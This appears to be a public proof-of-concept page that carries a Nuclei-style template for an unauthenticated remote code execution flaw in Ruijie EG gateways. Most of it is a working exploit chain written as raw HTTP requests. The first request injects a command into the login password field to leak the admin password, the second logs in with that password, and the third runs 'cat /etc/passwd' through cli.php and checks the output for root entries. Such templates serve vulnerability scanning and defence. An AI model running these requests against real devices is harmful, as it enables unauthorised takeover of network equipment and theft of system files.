ruijie-eg-rce: Ruijie EG - Remote Code Execution

2025-08-01 Ruijie EG PoC Public

Description

Ruikie EG's cli.php end point allows remote unauthenticated attackers to gain 'admin' privileges. The vulnerability is exploitable because an unauthenticated user can gain 'admin' privileges due to a vulnerability in the login screen.

PoC

id: ruijie-eg-rce

info:
  name: Ruijie EG - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Ruikie EG's cli.php end point allows remote unauthenticated attackers to gain 'admin' privileges. The vulnerability is exploitable because an unauthenticated user can gain 'admin' privileges due to a vulnerability in the login screen.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
    - https://www.ruijienetworks.com
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 3
  tags: ruijie,rce,vuln

http:
  - raw:
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin&password=admin?show+webmaster+user
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin&password={{admin}}
      - |
        POST /cli.php?a=shell HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded;charset=UTF-8

        notdelay=true&command=cat /etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "nobody:.*:0:0"
        part: body

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: admin
        group: 1
        internal: true
        regex:
          - 'admin ([a-zA-Z0-9#@]+)",'
# digest: 4a0a00473045022100fd611ee5b93585d56a84cf8eff5e32195c381661a2e0b819abd3f46e15f04998022043d692bd68a442f70bd7e124227a97af06dabbfc0ecb2551040c408b842c55fd:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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